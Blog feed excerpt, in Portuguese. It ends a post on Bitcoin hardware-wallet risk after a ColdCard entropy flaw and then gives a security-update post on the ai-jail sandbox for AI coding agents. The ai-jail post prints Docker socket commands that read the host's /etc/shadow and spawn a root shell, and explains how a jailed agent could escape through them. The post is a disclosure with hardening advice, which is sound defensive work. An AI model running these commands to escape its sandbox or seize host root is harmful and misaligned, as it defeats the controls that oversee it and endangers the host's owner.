<p>Pra valores pequenos, um signer comercial bem pesquisado pode ser muito menos arriscado que uma invenção manual. Pra patrimônio que muda sua vida, 2-de-3 com fabricantes e codebases diferentes continua sendo a referência, como recomenda o <a href="https://sparrowwallet.com/docs/best-practices.html"target="_blank" rel="noopener">guia do Sparrow</a>. Isso limita o estrago de um fornecedor comprometido, mas cobra mais backups, mais testes e uma policy bem documentada. Multisig que você não consegue restaurar é pior que single-sig bem cuidada.</p>
<p>Em alguns serviços de custódia colaborativa, uma empresa segura uma das chaves de um 2-de-3. Ela não deveria conseguir gastar sozinha, mas passa a conhecer dados da sua wallet e pode desaparecer, negar serviço ou complicar uma recuperação. Custodiante profissional também troca risco técnico por risco jurídico e de contraparte. No fim, você escolhe qual risco aceita carregar e qual entrega a terceiros.</p>
<p>O melhor que consigo recomendar não é uma marca. Escolha uma arquitetura proporcional ao valor e descubra quais falhas ela tolera. Antes de colocar dinheiro que faria falta, rode o fluxo inteiro com pouco: receba, gaste, apague um signer, restaure o backup e veja se você consegue voltar sozinho.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Self-custody tira o custodiante do caminho, mas deixa uma responsabilidade brutal no lugar. A confiança continua espalhada por silício, firmware, compilador, processo de build, wallet coordinator e pela sua própria disciplina. Hardware wallet continua tendo utilidade porque fazer tudo na mão é impraticável pra quase todo mundo. O erro é confundir essa ferramenta com garantia.</p>
<p>Eu não recomendo hoje uma marca específica. Prefiro distribuir o risco e criar maneiras de pegar falhas: fontes independentes de entropia, código livre, builds reproduzíveis verificados por terceiros, restaurações ensaiadas, signers diferentes e multisig quando o valor justifica e você aceita a burocracia. Single-sig com passphrase é uma escolha compreensível. Só não oferece a mesma tolerância a falhas. Faça essa escolha sabendo o que está delegando e o risco que decidiu manter com você.</p>
<p>Este pode acabar sendo <strong>um dos piores episódios da história da autocustódia em Bitcoin</strong>. Não porque alguém deixou moedas numa exchange vagabunda, digitou a seed num site de phishing ou instalou wallet pirata. Muita gente comprou um aparelho dedicado, anotou 24 palavras, guardou o backup em aço, manteve tudo offline e assinou por air gap. Fez exatamente o que a cultura Bitcoin ensinava como o procedimento correto. Mesmo assim foi pega por um bug nojento no instante mais importante de todos: a escolha da raiz.</p>
<blockquote>
  <p>Nos casos mais graves, o RNG reduziu o universo pra algo na casa de <code>2^40</code>. O atacante não precisa tocar na ColdCard. Ele enumera os estados possíveis, deriva as árvores BIP32 e os endereços mais prováveis, consulta a blockchain pública e encontra quais candidatos têm UTXOs. Quando encontra, também tem as private keys pra assinar. A ColdCard pode estar desligada, sem bateria, sem USB e dentro de um cofre. Não faz diferença. Air gap protege o caminho entre signer e computador; não recupera entropia que nunca existiu.</p>

</blockquote>
<p>Não havia alerta visível. A wallet recebia, assinava e restaurava normalmente até o dia em que outra pessoa reproduziu a mesma chave. Por isso 12 contra 24 palavras, air gap contra USB e secure element contra microcontrolador viram discussões secundárias quando ninguém testou se o botão <strong>New Wallet</strong> chamava o RNG correto.</p>
<p>Também mostra por que não aceito chamar negligência de black swan. O source estava aberto, o caminho era auditável e a cultura afastava parte das pessoas mais capazes de apontar problemas. Foi um cisne branco esperando alguém olhar na direção certa.</p>
<blockquote>
  <p>A lição não é abandonar self-custody. É parar de terceirizar entendimento. Estude o threat model, procure como a entropia é gerada, confira o histórico do fabricante, ensaie recuperação e saiba quais riscos continuam concentrados. Não confie cegamente em empresa, certificação, influencer, tutorial ou artigo. Nem neste aqui. Verifique.</p>

</blockquote>
<p>Eu já movi meus fundos da ColdCard antiga. Na prática, se você tem qualquer ColdCard, faça o mesmo. Não existe prêmio por descobrir tarde demais que seu caso também tinha uma exceção não documentada.</p>
<p>Escolha a nova arquitetura com os critérios acima. Gere uma raiz completamente nova. Misture entropia independente de verdade. Teste o backup. Confira os endereços. Mova tudo.</p>
]]></content:encoded><category>bitcoin-e-criptomoedas</category><category>seguranca</category><category>hardware</category></item><item><title>AI-Jail: update de segurança, Docker vira opt-in</title><link>https://akitaonrails.github.io/2026/07/25/ai-jail-update-seguranca-docker-opt-in/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/07/25/ai-jail-update-seguranca-docker-opt-in/</guid><pubDate>Sat, 25 Jul 2026 13:00:00 -0300</pubDate><description>&lt;p&gt;Hoje de manhã abriram um issue importante no repositório do &lt;a href="https://github.com/akitaonrails/ai-jail"target="_blank" rel="noopener"&gt;ai-jail&lt;/a&gt;: o &lt;a href="https://github.com/akitaonrails/ai-jail/issues/88"target="_blank" rel="noopener"&gt;issue #88&lt;/a&gt;, reportado pelo &lt;a href="https://github.com/mdindoffer"target="_blank" rel="noopener"&gt;@mdindoffer&lt;/a&gt;, com o título &amp;ldquo;Sandbox escape via a docker socket passthrough (effective host root)&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;O report procedia, e a correção já está disponível na &lt;strong&gt;v1.16.0&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Atualize pra v1.16.0&lt;span class="hx:absolute hx:-mt-20" id="atualize-pra-v1160"&gt;&lt;/span&gt;
&lt;a href="#atualize-pra-v1160" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Se você usa o ai-jail, o update é o de sempre:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Arch Linux (AUR)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;yay -Syu ai-jail-bin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Homebrew (macOS / Linux)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;brew update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; brew upgrade ai-jail
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# crates.io&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cargo install ai-jail --force
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# mise&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mise cache clear &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; mise upgrade github:akitaonrails/ai-jail&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;O que mudou na v1.16.0&lt;span class="hx:absolute hx:-mt-20" id="o-que-mudou-na-v1160"&gt;&lt;/span&gt;
&lt;a href="#o-que-mudou-na-v1160" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Até a v1.15.x, o ai-jail montava o socket do Docker dentro da jaula automaticamente, sempre que &lt;code&gt;/var/run/docker.sock&lt;/code&gt; existia no host. Read-write. Sem aviso, sem flag, sem pedir opinião. Eu documentei isso no README como &amp;ldquo;favorece usabilidade&amp;rdquo;, e era verdade: agente de coding frequentemente precisa rodar um &lt;code&gt;docker compose&lt;/code&gt; pra subir banco de testes, e o passthrough automático poupava configuração.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Hoje de manhã abriram um issue importante no repositório do <a href="https://github.com/akitaonrails/ai-jail"target="_blank" rel="noopener">ai-jail</a>: o <a href="https://github.com/akitaonrails/ai-jail/issues/88"target="_blank" rel="noopener">issue #88</a>, reportado pelo <a href="https://github.com/mdindoffer"target="_blank" rel="noopener">@mdindoffer</a>, com o título &ldquo;Sandbox escape via a docker socket passthrough (effective host root)&rdquo;.</p>
<p>O report procedia, e a correção já está disponível na <strong>v1.16.0</strong>.</p>
<h2>Atualize pra v1.16.0<span class="hx:absolute hx:-mt-20" id="atualize-pra-v1160"></span>
    <a href="#atualize-pra-v1160" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se você usa o ai-jail, o update é o de sempre:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Arch Linux (AUR)</span>
</span></span><span class="line"><span class="cl">yay -Syu ai-jail-bin
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Homebrew (macOS / Linux)</span>
</span></span><span class="line"><span class="cl">brew update <span class="o">&amp;&amp;</span> brew upgrade ai-jail
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># crates.io</span>
</span></span><span class="line"><span class="cl">cargo install ai-jail --force
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># mise</span>
</span></span><span class="line"><span class="cl">mise cache clear <span class="o">&amp;&amp;</span> mise upgrade github:akitaonrails/ai-jail</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h2>O que mudou na v1.16.0<span class="hx:absolute hx:-mt-20" id="o-que-mudou-na-v1160"></span>
    <a href="#o-que-mudou-na-v1160" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Até a v1.15.x, o ai-jail montava o socket do Docker dentro da jaula automaticamente, sempre que <code>/var/run/docker.sock</code> existia no host. Read-write. Sem aviso, sem flag, sem pedir opinião. Eu documentei isso no README como &ldquo;favorece usabilidade&rdquo;, e era verdade: agente de coding frequentemente precisa rodar um <code>docker compose</code> pra subir banco de testes, e o passthrough automático poupava configuração.</p>
<p>A partir da v1.16.0 o comportamento inverteu:</p>
<ul>
<li>O passthrough do socket ficou <strong>desligado por padrão</strong>. Só entra se você pedir explicitamente com a flag <code>--docker</code> ou com <code>no_docker = false</code> no <code>.ai-jail</code>.</li>
<li>Quando você liga e existe um socket no host, o ai-jail imprime um aviso na largada deixando claro que aquilo equivale a dar root no host pro processo dentro da jaula.</li>
<li>O <code>ai-jail status</code> agora mostra Docker como <code>disabled (default)</code>, pra ninguém achar que ligou sem querer.</li>
<li>Nos modos <code>--lockdown</code> e browser profile o socket nunca entra, como já era antes.</li>
</ul>
<p>Mudança de comportamento, sim, e de propósito. Se o seu workflow depende de Docker dentro da jaula (o meu depende em alguns projetos), o opt-in é uma linha no <code>.ai-jail</code> do projeto:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-toml" data-lang="toml"><span class="line"><span class="cl"><span class="nx">no_docker</span> <span class="p">=</span> <span class="kc">false</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O nome do campo ficou feio (<code>no_docker = false</code> pra ligar, eu sei), mas configs antigas continuam parseando igual e o <code>--no-docker</code> / <code>no_docker = true</code> funcionam como antes. Só o default mudou. Os detalhes estão nas <a href="https://github.com/akitaonrails/ai-jail/blob/master/releases/v1.16.0.md"target="_blank" rel="noopener">release notes da v1.16.0</a>.</p>
<h2>O que o issue #88 mostrou<span class="hx:absolute hx:-mt-20" id="o-que-o-issue-88-mostrou"></span>
    <a href="#o-que-o-issue-88-mostrou" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O report do mdindoffer é daqueles que todo mantenedor quer receber: resumo preciso, repro em poucas linhas, proposta de correção. A essência:</p>
<p>O ai-jail montava o socket <strong>cru</strong> do Docker dentro da sandbox, read-write. O daemon do Docker roda como root no host. Logo, um agente dentro da jaula podia rodar isto:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">docker run --rm -v /:/host alpine sh -c <span class="s1">&#39;cat /host/etc/shadow&#39;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E pronto. Leitura de qualquer arquivo do host, como root. Isso derrota de uma vez só o <code>$HOME</code> em tmpfs, o <code>--mask</code>, o <code>--deny-path</code> e o Landlock, porque a ação deixa de acontecer dentro da sandbox: acontece no daemon, que vive fora e acima de qualquer namespace que o bwrap criou. O agente nem precisa escapar da jaula quando a jaula tem uma porta que dá direto na sala de máquinas.</p>
<p>Em retrospecto, deixar isso ligado por padrão foi uma falha de design. Eu sabia que o passthrough era &ldquo;perigoso&rdquo; no abstrato, tanto que escrevi isso no README. O que eu não tinha internalizado: perigoso desse jeito, com esse default, já é vulnerabilidade.</p>
<p>O mdindoffer ainda propôs o caminho de hardening definitivo: em vez de montar o socket cru, interpor um proxy filtrado (estilo o <a href="https://github.com/wollomatic/socket-proxy"target="_blank" rel="noopener">wollomatic/socket-proxy</a>) que só aceita bind mounts de caminhos que o agente já pode escrever dentro da jaula. Está no radar pra uma versão futura. Pra fechar o buraco agora, opt-in com aviso explícito resolve o default, que era onde o problema morava.</p>
<h2>A classe de vulnerabilidade: docker.sock é root<span class="hx:absolute hx:-mt-20" id="a-classe-de-vulnerabilidade-dockersock-é-root"></span>
    <a href="#a-classe-de-vulnerabilidade-dockersock-%c3%a9-root" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Essa não é a primeira vez que eu esbarro nessa história, e aposto que também não é a sua. &ldquo;Quem tem acesso ao socket do Docker tem root no host&rdquo; é um dos clássicos da segurança de containers, documentado pela própria Docker na página de <a href="https://docs.docker.com/engine/security/"target="_blank" rel="noopener">daemon attack surface</a>: só usuários confiáveis devem controlar o daemon, porque o Docker permite compartilhar qualquer diretório do host com um container, sem restrição nenhuma de acesso.</p>
<p>O motivo técnico é simples. O <code>dockerd</code> é um daemon que roda como root e obedece comandos que chegam pela API no socket Unix <code>/var/run/docker.sock</code>. A CLI <code>docker</code> é só um cliente dessa API. Quando você pede <code>docker run -v /:/host</code>, quem cria o container e monta o filesystem inteiro do host dentro dele é o daemon, com privilégio total. E processo dentro de container roda como uid 0 por padrão, que o kernel enxerga como uid 0 de verdade (salvo user namespace remapping, que quase ninguém liga). A conta fecha: acesso de escrita no socket equivale a root no host. O grupo <code>docker</code> é sudo sem senha com outro nome.</p>
<h2>A demonstração, na sua máquina<span class="hx:absolute hx:-mt-20" id="a-demonstração-na-sua-máquina"></span>
    <a href="#a-demonstra%c3%a7%c3%a3o-na-sua-m%c3%a1quina" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se você tem Docker instalado e seu usuário no grupo <code>docker</code>, reproduz agora. Sem sudo, sem explorar bug nenhum:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># confirme que você é um usuário comum</span>
</span></span><span class="line"><span class="cl">$ id
</span></span><span class="line"><span class="cl"><span class="nv">uid</span><span class="o">=</span>1000<span class="o">(</span>akitaonrails<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>1000<span class="o">(</span>akitaonrails<span class="o">)</span> <span class="nv">groups</span><span class="o">=</span>...,docker
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># tente ler o /etc/shadow diretamente: negado, como esperado</span>
</span></span><span class="line"><span class="cl">$ cat /etc/shadow
</span></span><span class="line"><span class="cl">cat: /etc/shadow: Permission denied
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># agora peça pro daemon fazer isso por você</span>
</span></span><span class="line"><span class="cl">$ docker run --rm -v /:/host alpine sh -c <span class="s1">&#39;head -3 /host/etc/shadow&#39;</span>
</span></span><span class="line"><span class="cl">root:<span class="nv">$6</span>$...:...
</span></span><span class="line"><span class="cl">bin:!:...
</span></span><span class="line"><span class="cl">daemon:!:...</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E se quiser o pacote completo, uma shell de root no seu próprio host:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ docker run --rm -it -v /:/host alpine chroot /host /bin/bash
</span></span><span class="line"><span class="cl"><span class="c1"># id</span>
</span></span><span class="line"><span class="cl"><span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">groups</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Nenhum exploit, nenhum 0-day. Você usou a API oficial, do jeito documentado, e saiu de usuário comum pra root em um comando. Era exatamente isso que um agente dentro do ai-jail conseguia fazer até hoje, mesmo com todas as camadas (bwrap, Landlock, seccomp, rlimits) ligadas.</p>
<h2>Por que isso ainda existe?<span class="hx:absolute hx:-mt-20" id="por-que-isso-ainda-existe"></span>
    <a href="#por-que-isso-ainda-existe" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se todo mundo sabe disso há mais de uma década, por que ninguém &ldquo;consertou&rdquo;? A resposta curta: isso é arquitetura, e arquitetura não se resolve com patch.</p>
<ul>
<li>O daemon root com API todo-poderosa foi o design que fez o Docker simples de operar. Autorização granular por requisição existe na forma de <a href="https://docs.docker.com/engine/extend/plugins_authorization/"target="_blank" rel="noopener">authorization plugins</a>, mas é opt-in, chata de configurar, e eu conto nos dedos os setups que já vi usando.</li>
<li>O <a href="https://docs.docker.com/engine/security/userns-remap/"target="_blank" rel="noopener">userns-remap</a> existe desde o Docker 1.10 e mapeia o root do container pra um usuário sem privilégio no host. Vem desligado de fábrica, porque quebra compatibilidade com imagens e volumes que assumem uid 0.</li>
<li>O <a href="https://docs.docker.com/engine/security/rootless/"target="_blank" rel="noopener">rootless mode</a> roda o daemon inteiro como o seu usuário, com o socket em <code>$XDG_RUNTIME_DIR/docker.sock</code>. Funciona, mas tem restrições de rede e storage, e a internet inteira de tutoriais assume o daemon root no caminho clássico.</li>
<li>O <a href="https://podman.io/"target="_blank" rel="noopener">Podman</a> nasceu rootless e sem daemon justamente por causa dessa crítica. Tem uma seção inteira sobre ele logo abaixo.</li>
</ul>
<p>Resumindo: isso vai continuar existindo. Toda ferramenta que monta <code>/var/run/docker.sock</code> dentro de um ambiente &ldquo;pra conveniência&rdquo; abre o mesmo buraco, consciente ou não. CI que monta o socket pra build de imagem, IDE remota, code-server, sandbox de agente de IA (oi, eu), plugin de painel web. O ajuste fica sempre do lado de quem monta o ambiente.</p>
<h2>Curiosidade: isso é tudo, menos novo<span class="hx:absolute hx:-mt-20" id="curiosidade-isso-é-tudo-menos-novo"></span>
    <a href="#curiosidade-isso-%c3%a9-tudo-menos-novo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se você me acompanha há algum tempo, essa história toda deve ter dado déjà vu. Em 2023 eu gravei o <a href="/2023/03/02/akitando-139-entendendo-como-containers-funcionam/">[Akitando #139] - Entendendo Como Containers Funcionam</a>, onde eu explico o que um container realmente é: um processo comum do Linux, limitado por cgroups, enganado por namespaces, com as capabilities cortadas. Sem mágica e sem máquina virtual. E olha o que já estava na lista de links daquele episódio: um walkthrough de <a href="https://flast101.github.io/docker-privesc/"target="_blank" rel="noopener">privilege escalation via Docker</a>, demonstrando exatamente o truque do <code>docker run -v /:/host</code>. O buraco que o issue #88 explorou dentro do ai-jail é o mesmo que eu já apontava num video de 2023, e que já era manjado muito antes disso.</p>
<p>Ninguém sabe disso melhor que a Red Hat. O <a href="https://podman.io/"target="_blank" rel="noopener">Podman</a> nasceu lá em 2018 como resposta direta a essa arquitetura: sem daemon central, rootless por padrão. Cada container vira filho direto do seu usuário, via fork-exec, sem um processo todo-poderoso rodando como root intermediando nada. O &ldquo;docker.sock é root&rdquo; simplesmente não existe nesse modelo, porque não existe nem docker.sock, nem daemon, nem root.</p>
<p>E antes que você pergunte: sim, eu uso Podman em algumas coisas e recomendo. Mas ele também não é solução perfeita, e vale entender o porquê.</p>
<p>O que o Podman faz bem:</p>
<ul>
<li><strong>A arquitetura certa.</strong> Daemonless e rootless desde o dia zero. A classe inteira de vulnerabilidade deste artigo perde o sentido.</li>
<li><strong>Compatibilidade de CLI.</strong> <code>alias docker=podman</code> cobre a maioria esmagadora dos comandos do dia a dia. Build, run, push, pull: mesmos comandos, mesmas flags.</li>
<li><strong>Integração com systemd.</strong> Os <a href="https://docs.podman.io/en/latest/markdown/podman-systemd.unit.5.html"target="_blank" rel="noopener">Quadlets</a> são, na minha opinião, o jeito mais limpo de rodar container como serviço no Linux. O Docker nunca chegou perto disso.</li>
</ul>
<p>E onde ele tropeça:</p>
<ul>
<li><strong>O socket de compatibilidade não é 100%.</strong> O Podman oferece um socket compatível com a API do Docker (o <code>podman.socket</code>), e muita ferramenta funciona em cima dele. Mas &ldquo;muita&rdquo; não é &ldquo;toda&rdquo;: Testcontainers, alguns plugins de IDE, ferramentas de CI mais exóticas tropeçam em diferenças de comportamento. Funciona até o dia em que não funciona, e aí você perde uma tarde debugando.</li>
<li><strong>Compose é cidadão de segunda classe.</strong> O <code>docker compose</code> oficial até conversa com o socket do Podman, e existe o <code>podman-compose</code>, mas nenhum dos dois tem a mesma redondeza do par original. Projeto com compose complicado é onde a migração costuma enroscar.</li>
<li><strong>Rootless tem preço.</strong> A rede rootless (slirp4netns, e hoje o pasta) tem limitações: sem ping por padrão, IP de origem esquisito, throughput menor. Imagem que assume uid 0 e volume com permissão errada pedem ajuste. Nada grave, mas é atrito.</li>
<li><strong>Docker Desktop é um produto.</strong> No macOS e no Windows, o Docker Desktop entrega uma experiência polida que o Podman Desktop ainda está alcançando. Pra muita gente, esse é o único contato com containers que existe.</li>
</ul>
<p>Somando tudo, você chega na resposta de por que o mundo continua no Docker: inércia de ecossistema. Todo tutorial, todo CI, toda imagem de exemplo, todo <code>docker run</code> colado de Stack Overflow assume o daemon root no caminho clássico. O Docker virou o nome da categoria, tipo Bombril. Migrar pro Podman é tecnicamente fácil e politicamente caro: é você contra o conhecimento acumulado da internet inteira.</p>
<p>Um detalhe que importa pra quem usa sandbox: montar o socket do Podman rootless dentro de uma jaula é bem menos catastrófico que montar o do Docker. O &ldquo;daemon&rdquo; equivalente roda como o seu usuário, então um agente mal-intencionado ganharia os seus privilégios, não root. Continua ruim (dá pra sobrescrever o seu <code>~/.ssh</code> com eles, por exemplo), mas é outro campeonato. Mesmo assim, o default do ai-jail continua valendo: não montar socket nenhum, de runtime nenhum. Opt-in é opt-in.</p>
<h2>Boas práticas pra isso não morder você<span class="hx:absolute hx:-mt-20" id="boas-práticas-pra-isso-não-morder-você"></span>
    <a href="#boas-pr%c3%a1ticas-pra-isso-n%c3%a3o-morder-voc%c3%aa" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A lista que eu aplico e recomendo:</p>
<ol>
<li><strong>Trate o grupo <code>docker</code> como sudo sem senha.</strong> Antes de adicionar qualquer usuário ou serviço nele, pergunte se você daria sudo irrestrito pra aquilo. É a mesma coisa.</li>
<li><strong>Nunca monte <code>/var/run/docker.sock</code> em ambientes não confiáveis.</strong> Agente de IA, job de CI que roda código de pull request de estranho, container de terceiro. Faça um <code>grep -r docker.sock</code> nos seus docker-compose, manifests de CI e configs de ferramentas. Aparece em mais lugares do que você lembra.</li>
<li><strong>Precisou expor pra algo semiconfiável? Use um socket proxy.</strong> O <a href="https://github.com/wollomatic/socket-proxy"target="_blank" rel="noopener">wollomatic/socket-proxy</a> e o <a href="https://github.com/Tecnativa/docker-socket-proxy"target="_blank" rel="noopener">docker-socket-proxy da Tecnativa</a> ficam entre o cliente e o daemon com allowlist de endpoints e bloqueio de bind mounts arbitrários. Read-only por padrão, você liga só o que precisa.</li>
<li><strong>Prefira rootless sempre que possível.</strong> Podman rootless no Linux é o caminho mais limpo; o rootless mode do próprio Docker é a segunda opção. O daemon deixa de ser root e essa classe inteira de problema perde a mordida.</li>
